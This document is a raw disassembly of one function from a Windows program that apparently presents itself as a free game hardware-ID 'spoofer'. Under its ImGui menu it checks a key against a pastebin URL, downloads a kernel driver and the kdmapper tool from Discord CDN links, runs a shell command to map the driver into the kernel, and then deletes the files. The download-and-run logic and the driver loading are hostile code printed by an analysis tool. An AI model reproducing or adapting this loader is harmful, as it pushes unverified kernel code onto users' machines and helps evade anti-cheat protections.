Function at 0x14002fcb0
Capabilities:
Delete file
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x138]
sub rsp, 0x210
xorps xmm0, xmm0
movaps xmmword [rax - 0x38], xmm6
mov ecx, 0x30
movaps xmmword [rax - 0x48], xmm7
movups xmmword [rbp - 0x10], xmm0
call fcn.14003179c
movups xmm1, xmmword [str.https:__pastebin.com_raw_9T3upKAX]
lea rdx, [rbp - 0x10]
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x14003c8e0]
movdqu xmmword [rbp], xmm0
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14003c1a0]
movups xmmword [rax + 0x10], xmm0
movzx ecx, byte [0x14003c1b0]
mov byte [rax + 0x20], cl
lea rcx, [rbp + 0xa0]
mov byte [rax + 0x21], 0
call fcn.14002fa80
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [0x14002f930]
mov dword [rbp + 0x20], 0x50
xor r12d, r12d
mov qword [rbp + 0x28], rax
xor ecx, ecx
mov dword [rbp + 0x24], 0x40
mov qword [rbp + 0x30], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov qword [rbp + 0x68], r12
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm0
lea rbx, [0x14003c1b8]
movdqa xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x60], rbx
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rcx, qword [rbp + 0x38]
mov r8, rbx
mov eax, dword [rbp + 0x7c]
cdq
mov qword [rsp + 0x58], r12
sub eax, edx
mov qword [rsp + 0x50], rcx
sar eax, 1
xor ecx, ecx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 0xb4
lea r9d, [rax - 0x5a]
mov dword [rsp + 0x30], 0x15e
mov eax, dword [rbp + 0x78]
cdq
mov dword [rsp + 0x28], r9d
sub eax, edx
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x60]
sar eax, 1
sub eax, 0xaf
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r9d, [r12 + 1]
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea ecx, [r12 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140043408], rax
mov rcx, rax
test rax, rax
je 0x140030ec1
lea rdx, [0x140043410]
mov qword [0x140043420], r12
mov qword [rsp + 0x30], rdx
lea r8d, [r12 + 1]
lea rdx, [0x140043420]
mov qword [0x14004342c], r12
mov qword [rsp + 0x28], rdx
mov r9, rdi
mov dword [0x140043434], r12d
xor edx, edx
mov qword [0x14004343c], r12
mov dword [0x140043444], r12d
mov qword [0x140043454], r12
mov dword [0x140043448], 1
mov dword [0x140043438], 1
mov dword [0x140043428], r12d
mov dword [0x14004344c], 1
mov dword [0x140043450], 0x50
mov dword [0x14004345c], 0x80000000
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140030eba
lea edx, [r12 + 0xa]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
lea rdx, [r12 - 1]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x1400433a0]
test rax, rax
je 0x14002ff1b
inc dword [rax + 0x3bc]
mov ecx, 0x3e88
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14002ff37
xor edx, edx
mov rcx, rax
call fcn.140001250
jmp 0x14002ff3a
mov rax, r12
cmp qword [0x1400433a0], r12
jne 0x14002ff4a
mov qword [0x1400433a0], rax
mov rcx, rax
call fcn.140006c60
mov rcx, qword [0x1400433a0]
test rcx, rcx
jne 0x14002ff7f
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1400433a0]
movss xmm2, dword [0x14003c83c]
lea rax, [0x14003b7c8]
mov rcx, qword [rcx + 0xa8]
mov qword [rsp + 0x20], rax
call fcn.140021970
xor ecx, ecx
call fcn.14001d120
lea rcx, [0x140043400]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400300c8
lea rcx, [0x1400433f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400300c8
mov rax, qword [0x1400433a0]
mov qword [0x1400433f0], rdi
test rax, rax
jne 0x140030004
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400433a0]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], rdi
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
jmp 0x1400300cf
mov rax, qword [0x1400433a0]
mov rbx, qword [0x140043410]
test rax, rax
jne 0x1400300fc
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400433a0]
or dword [rax + 0xc], 8
lea rcx, str.imgui_impl_dx9
mov qword [rax + 0xe0], rcx
mov rcx, rbx
mov rax, qword [rbx]
mov qword [0x1400433d8], rbx
call qword [rax + 8]
mov rbx, qword [0x1400433a0]
test rbx, rbx
jne 0x14003014b
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400433a0]
mov dword [rbx + 0x1574], r12d
mov dword [rbx + 0x15a8], 0x40400000
mov dword [rbx + 0x1584], 0x3f000000
mov dword [rbx + 0x1588], 0x3f000000
test rbx, rbx
jne 0x140030196
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400433a0]
xor ecx, ecx
call fcn.14001d120
mov dword [rbx + 0x1620], 0x3f5c28f6
mov dword [rbx + 0x1624], 0x3f6e147b
mov dword [rbx + 0x1628], 0x3f63d70a
mov dword [rbx + 0x162c], 0x3f47ae14
mov dword [rbx + 0x1630], 0x3f5c28f6
mov dword [rbx + 0x1634], 0x3f6e147b
mov dword [rbx + 0x1638], 0x3f63d70a
mov dword [rbx + 0x163c], 0x3e8f5c29
mov dword [rbx + 0x1640], 0x3e051eb8
mov dword [rbx + 0x1644], 0x3e0f5c29
mov dword [rbx + 0x1648], 0x3e2e147b
mov dword [rbx + 0x164c], 0x3f800000
mov dword [rbx + 0x1670], 0x3e9eb852
mov dword [rbx + 0x1674], 0x3e9eb852
mov qword [rbx + 0x1678], 0x3f800000
mov qword [rbx + 0x1680], r12
mov qword [rbx + 0x1688], r12
mov dword [rbx + 0x1690], 0x3e4ccccd
mov dword [rbx + 0x1694], 0x3e6147ae
mov dword [rbx + 0x1698], 0x3e8a3d71
mov dword [rbx + 0x169c], 0x3f800000
mov dword [rbx + 0x16a0], 0x3f6b851f
mov dword [rbx + 0x16a4], 0x3e3851ec
mov dword [rbx + 0x16a8], 0x3e947ae1
mov dword [rbx + 0x16ac], 0x3f47ae14
mov dword [rbx + 0x16b0], 0x3f6b851f
mov dword [rbx + 0x16b4], 0x3e3851ec
mov dword [rbx + 0x16b8], 0x3e947ae1
mov dword [rbx + 0x16bc], 0x3f800000
mov dword [rbx + 0x16c0], 0x3e4ccccd
mov dword [rbx + 0x16c4], 0x3e6147ae
mov dword [rbx + 0x16c8], 0x3e8a3d71
mov dword [rbx + 0x16cc], 0x3f800000
mov dword [rbx + 0x16e0], 0x3e4ccccd
mov dword [rbx + 0x16e4], 0x3e6147ae
mov dword [rbx + 0x16e8], 0x3e8a3d71
mov dword [rbx + 0x16ec], 0x3f400000
mov dword [rbx + 0x16d0], 0x3f6b851f
mov dword [rbx + 0x16d4], 0x3e3851ec
mov dword [rbx + 0x16d8], 0x3e947ae1
mov dword [rbx + 0x16dc], 0x3f800000
mov dword [rbx + 0x16f0], 0x3e4ccccd
mov dword [rbx + 0x16f4], 0x3e6147ae
mov dword [rbx + 0x16f8], 0x3e8a3d71
mov dword [rbx + 0x16fc], 0x3ef0a3d7
mov dword [rbx + 0x1700], 0x3e4ccccd
mov dword [rbx + 0x1704], 0x3e6147ae
mov dword [rbx + 0x1708], 0x3e8a3d71
mov dword [rbx + 0x170c], 0x3f800000
mov dword [rbx + 0x1710], 0x3db851ec
mov dword [rbx + 0x1714], 0x3e19999a
mov dword [rbx + 0x1718], 0x3e23d70a
mov dword [rbx + 0x171c], 0x3f800000
mov dword [rbx + 0x1720], 0x3f6b851f
mov dword [rbx + 0x1724], 0x3e3851ec
mov dword [rbx + 0x1728], 0x3e947ae1
mov dword [rbx + 0x172c], 0x3f47ae14
mov dword [rbx + 0x1730], 0x3f6b851f
mov dword [rbx + 0x1734], 0x3e3851ec
mov dword [rbx + 0x1738], 0x3e947ae1
mov dword [rbx + 0x173c], 0x3f800000
mov dword [rbx + 0x1740], 0x3f35c28f
mov dword [rbx + 0x1744], 0x3e6147ae
mov dword [rbx + 0x1748], 0x3e8a3d71
mov dword [rbx + 0x174c], 0x3f800000
mov dword [rbx + 0x1750], 0x3ef0a3d7
mov dword [rbx + 0x1754], 0x3f451eb8
mov dword [rbx + 0x1758], 0x3f547ae1
mov dword [rbx + 0x175c], 0x3e0f5c29
mov dword [rbx + 0x1760], 0x3f6b851f
mov dword [rbx + 0x1764], 0x3e3851ec
mov dword [rbx + 0x1768], 0x3e947ae1
mov dword [rbx + 0x176c], 0x3f800000
mov dword [rbx + 0x1770], 0x3ef0a3d7
mov dword [rbx + 0x1774], 0x3f451eb8
mov dword [rbx + 0x1778], 0x3f547ae1
mov dword [rbx + 0x177c], 0x3e0f5c29
mov dword [rbx + 0x1780], 0x3f6b851f
mov dword [rbx + 0x1784], 0x3e3851ec
mov dword [rbx + 0x1788], 0x3e947ae1
xor eax, eax
mov dword [rbx + 0x178c], 0x3f5c28f6
xorps xmm0, xmm0
mov dword [rbx + 0x1790], 0x3f6b851f
xor r14b, r14b
mov dword [rbx + 0x1794], 0x3e3851ec
mov dword [rbx + 0x1798], 0x3e947ae1
lea ecx, [rax + 0x30]
mov dword [rbx + 0x179c], 0x3f800000
mov dword [rbx + 0x17a0], 0x3f6b851f
mov dword [rbx + 0x17a4], 0x3e3851ec
mov dword [rbx + 0x17a8], 0x3e947ae1
mov dword [rbx + 0x17ac], 0x3f428f5c
mov dword [rbx + 0x17b0], 0x3f6b851f
mov dword [rbx + 0x17b4], 0x3e3851ec
mov dword [rbx + 0x17b8], 0x3e947ae1
mov dword [rbx + 0x17bc], 0x3f5c28f6
mov dword [rbx + 0x17c0], 0x3f6b851f
mov dword [rbx + 0x17c4], 0x3e3851ec
mov dword [rbx + 0x17c8], 0x3e947ae1
mov dword [rbx + 0x17cc], 0x3f800000
mov dword [rbx + 0x17d0], 0x3e0f5c29
mov dword [rbx + 0x17d4], 0x3e23d70a
mov dword [rbx + 0x17d8], 0x3e428f5c
mov dword [rbx + 0x17dc], 0x3f800000
mov dword [rbx + 0x17e0], 0x3f6b851f
mov dword [rbx + 0x17e4], 0x3e3851ec
mov dword [rbx + 0x17e8], 0x3e947ae1
mov dword [rbx + 0x17ec], 0x3f47ae14
mov dword [rbx + 0x17f0], 0x3f6b851f
mov dword [rbx + 0x17f4], 0x3e3851ec
mov dword [rbx + 0x17f8], 0x3e947ae1
mov dword [rbx + 0x17fc], 0x3f800000
mov dword [rbx + 0x1800], 0x3ef0a3d7
mov dword [rbx + 0x1804], 0x3f451eb8
mov dword [rbx + 0x1808], 0x3f547ae1
mov dword [rbx + 0x180c], 0x3d23d70a
mov dword [rbx + 0x1810], 0x3f6b851f
mov dword [rbx + 0x1814], 0x3e3851ec
mov dword [rbx + 0x1818], 0x3e947ae1
mov dword [rbx + 0x181c], 0x3f47ae14
mov dword [rbx + 0x1820], 0x3f6b851f
mov dword [rbx + 0x1824], 0x3e3851ec
mov dword [rbx + 0x1828], 0x3e947ae1
mov dword [rbx + 0x182c], 0x3f800000
mov dword [rbx + 0x1880], 0x3f5c28f6
mov dword [rbx + 0x1884], 0x3f6e147b
mov dword [rbx + 0x1888], 0x3f63d70a
mov dword [rbx + 0x188c], 0x3f2147ae
mov dword [rbx + 0x1890], 0x3f6b851f
mov dword [rbx + 0x1894], 0x3e3851ec
mov dword [rbx + 0x1898], 0x3e947ae1
mov dword [rbx + 0x189c], 0x3f800000
mov dword [rbx + 0x18a0], 0x3f5c28f6
mov dword [rbx + 0x18a4], 0x3f6e147b
mov dword [rbx + 0x18a8], 0x3f63d70a
mov dword [rbx + 0x18ac], 0x3f2147ae
mov dword [rbx + 0x18b0], 0x3f6b851f
mov dword [rbx + 0x18b4], 0x3e3851ec
mov dword [rbx + 0x18b8], 0x3e947ae1
mov dword [rbx + 0x18bc], 0x3f800000
mov dword [rbx + 0x18c0], 0x3f6b851f
mov dword [rbx + 0x18c4], 0x3e3851ec
mov dword [rbx + 0x18c8], 0x3e947ae1
mov dword [rbx + 0x18cc], 0x3edc28f6
mov dword [rbx + 0x1660], 0x3e4ccccd
mov dword [rbx + 0x1664], 0x3e6147ae
mov dword [rbx + 0x1668], 0x3e8a3d71
mov dword [rbx + 0x166c], 0x3f666666
mov byte [rbp - 0x58], r12b
movups xmmword [rbp - 0x57], xmm0
mov qword [rbp - 0x47], rax
movups xmmword [rbp - 0x38], xmm0
call fcn.14003179c
movdqa xmm0, xmmword [0x14003c8e0]
movups xmm1, xmmword [str.https:__pastebin.com_raw_9T3upKAX]
mov qword [rbp - 0x38], rax
movdqu xmmword [rbp - 0x28], xmm0
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14003c1a0]
movups xmmword [rax + 0x10], xmm0
movzx ecx, byte [0x14003c1b0]
lea rdx, [rbp - 0x38]
mov byte [rax + 0x20], cl
lea rcx, [rbp + 0x80]
mov byte [rax + 0x21], r12b
call fcn.14002fa80
mov r13, qword [rbp + 0x98]
xorps xmm0, xmm0
mov r15, qword [rbp + 0x90]
movabs rbx, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x80]
xorps xmm6, xmm6
movss xmm7, dword [0x14003c7f0]
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
nop dword [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0xc0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140030830
lea rcx, [rbp + 0xc0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140030ce9
cmp byte [0x14004308c], 0
je 0x140030eb1
lea rcx, [rbp - 0x60]
call fcn.14002f690
mov rax, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffeced2ff
cmp rax, rcx
jge 0x140030860
lea rbx, [rax + 0x1312d00]
lea rcx, [rsp + 0x60]
call fcn.14002f690
mov rax, qword [rsp + 0x60]
cmp rax, rbx
jge 0x1400308ea
movabs r12, 0x4e94914f0000
movabs r15, 0x431bde82d7b634db
nop dword [rax + rax]
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jl 0x1400308a2
mov ecx, 0x5265c00
jmp 0x1400308c7
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400308c5
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rsp + 0x60]
call fcn.14002f690
mov rax, qword [rsp + 0x60]
cmp rax, rbx
jl 0x140030890
mov r15, qword [rbp + 0x90]
xor r12d, r12d
cmp qword [0x1400433c8], 0
jne 0x1400308f9
call fcn.14002e950
call fcn.14002f020
call fcn.140005fb0
mov rax, qword [0x1400433a0]
lea rdx, [0x14004308c]
movaps xmm0, xmm6
lea rcx, str.RN_Woofer__Free
movaps xmm1, xmm6
unpcklps xmm0, xmm6
unpcklps xmm1, xmm6
mov r8d, 0x13e
mov dword [rax + 0x1b48], 0x43af0000
mov dword [rax + 0x1b4c], 0x43340000
mov dword [rax + 0x1b30], 2
or dword [rax + 0x1b28], 3
movsd qword [rax + 0x1b38], xmm0
movsd qword [rax + 0x1b40], xmm1
mov dword [rax + 0x1b2c], 2
call fcn.14000ac10
test r14b, r14b
jne 0x140030abd
mov rcx, qword [0x1400433a0]
mov rax, qword [rcx + 0x1a88]
mov byte [rax + 0x80], 1
mov rax, qword [rcx + 0x1a88]
cmp byte [rax + 0x83], r14b
jne 0x1400309dc
movss xmm1, dword [rcx + 0x15a4]
movss xmm0, dword [rax + 0xf4]
addss xmm1, xmm1
addss xmm1, dword [rcx + 0x1928]
maxss xmm0, xmm1
movss xmm1, dword [rax + 0x100]
movss dword [rax + 0xf4], xmm0
maxss xmm1, dword [rcx + 0x15a4]
movss dword [rax + 0x100], xmm1
lea rcx, str.Enter_Key:
call fcn.140027260
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], r12
lea r8, [rbp - 0x58]
mov dword [rsp + 0x28], r12d
lea rcx, str.username
mov r9d, 0x19
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x68], 0
call fcn.14002ad50
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], 0
lea rcx, str.Discord
call fcn.140027b00
test al, al
je 0x140030a4d
lea rcx, [0x14003c228]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x78], 0
lea rcx, str.Login
call fcn.140027b00
test al, al
je 0x140030beb
lea rcx, [rbp - 0x58]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140030a80
cmp r13, 0xf
lea rcx, [rbp + 0x80]
cmova rcx, rsi
cmp r15, rax
jne 0x140030beb
mov r8, r15
lea rdx, [rbp - 0x58]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140030beb
mov r14b, 1
jmp 0x140030beb
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x80], 0
lea rcx, str.Temp_Spoof
call fcn.140027b00
test al, al
je 0x140030b72
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [0x14003c3d8]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1201649756754157719_1205249965329354822_s.sys_ex65f35f00is65e0ea00hm5131415344ce28c0a48310f397a9bc3737fd7a181f37977c2e9ecb4850df38fb
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [0x14003c5a0]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1201649756754157719_1203082240075239504_kdmapper_Release.exe_ex65f4b6a6is65e241a6hmd35222d75a59aba3151cb63f3b7a7f2e7d31babda13722d2195e6a46eef74585
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_COM.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_FilesCOM.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40040
lea r8, str.Ceos_Den
lea rdx, str.Done_Spoofing__Use_applecleaner_or_launch_fn
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp - 0x78]
mov qword [rbp - 0x78], 0
lea rcx, str.Perm__soon_
call fcn.140027b00
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x70], 0
lea rcx, str.Vip_Spoof
call fcn.140027b00
test al, al
je 0x140030bc2
mov r9d, 0x40040
lea r8, str.Ceos_Den
lea rdx, str.Key_not_found__5__in_discord
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp - 0x68]
mov qword [rbp - 0x68], 0
lea rcx, str.Join_Discord
call fcn.140027b00
test al, al
je 0x140030beb
lea rcx, str.start_https:__bit.ly_3vdplzb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000d080
call fcn.140007990
mov rcx, qword [0x140043410]
mov r9d, 3
mov dword [rsp + 0x30], r12d
xor r8d, r8d
movss dword [rsp + 0x28], xmm7
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140043410]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140030c65
call fcn.140007dd0
mov rax, qword [0x1400433a0]
mov rcx, r12
add rax, 0x1d80
cmp byte [rax], 0
cmovne rcx, rax
call fcn.14002e370
mov rcx, qword [0x140043410]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140043410]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140030cdf
mov rcx, qword [0x140043410]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140030cdf
call fcn.14002eae0
mov rcx, qword [0x140043410]
lea rdx, [0x140043420]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x140030cda
mov r8d, 0x2d
lea rdx, str.C:UsersFortnDownloadsSpooferSpoofermain.h
lea rcx, [0x14003392c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14002e950
movabs rbx, 0x7fffffffffffffff
cmp dword [rbp + 0xc8], 0x12
jne 0x1400307f0
call fcn.14002eae0
mov rcx, qword [0x1400433d8]
test rcx, rcx
je 0x140030d14
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400433d8], r12
mov rbx, qword [0x1400433a0]
mov rcx, rbx
mov qword [0x1400433f0], r12
call fcn.140006e60
cmp qword [0x1400433a0], rbx
jne 0x140030d3a
mov qword [0x1400433a0], r12
test rbx, rbx
je 0x140030d62
mov rcx, rbx
call fcn.1400155c0
mov rax, qword [0x1400433a0]
test rax, rax
je 0x140030d59
dec dword [rax + 0x3bc]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140043410]
test rcx, rcx
je 0x140030d7b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140043410], r12
mov rcx, qword [0x140043408]
test rcx, rcx
je 0x140030d94
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140043408], r12
mov rcx, rdi
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.USER32.dll_UnregisterClassW]
cmp r13, 0xf
jbe 0x140030de2
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140030dda
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f73
mov rcx, rsi
call fcn.1400314e4
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140030e1d
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030e18
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f73
call fcn.1400314e4
mov rdx, qword [rbp + 0xb8]
movdqa xmm0, xmmword [0x14003c8d0]
mov byte [rbp - 0x38], 0
movdqu xmmword [rbp - 0x28], xmm0
cmp rdx, 0xf
jbe 0x140030e6f
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030e6a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f73
call fcn.1400314e4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140030eaa
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030ea5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f73
call fcn.1400314e4
xor eax, eax
jmp 0x140030f84
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [0x140043408]
mov rdx, qword [0x140043410]
test rdx, rdx
je 0x140030ee4
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x140043408]
mov qword [0x140043410], r12
test rcx, rcx
je 0x140030ef6
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140043408], r12
mov rdx, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140030f41
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030f3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f73
call fcn.1400314e4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140030f7f
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030f7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030f7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400314e4
mov eax, 1
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret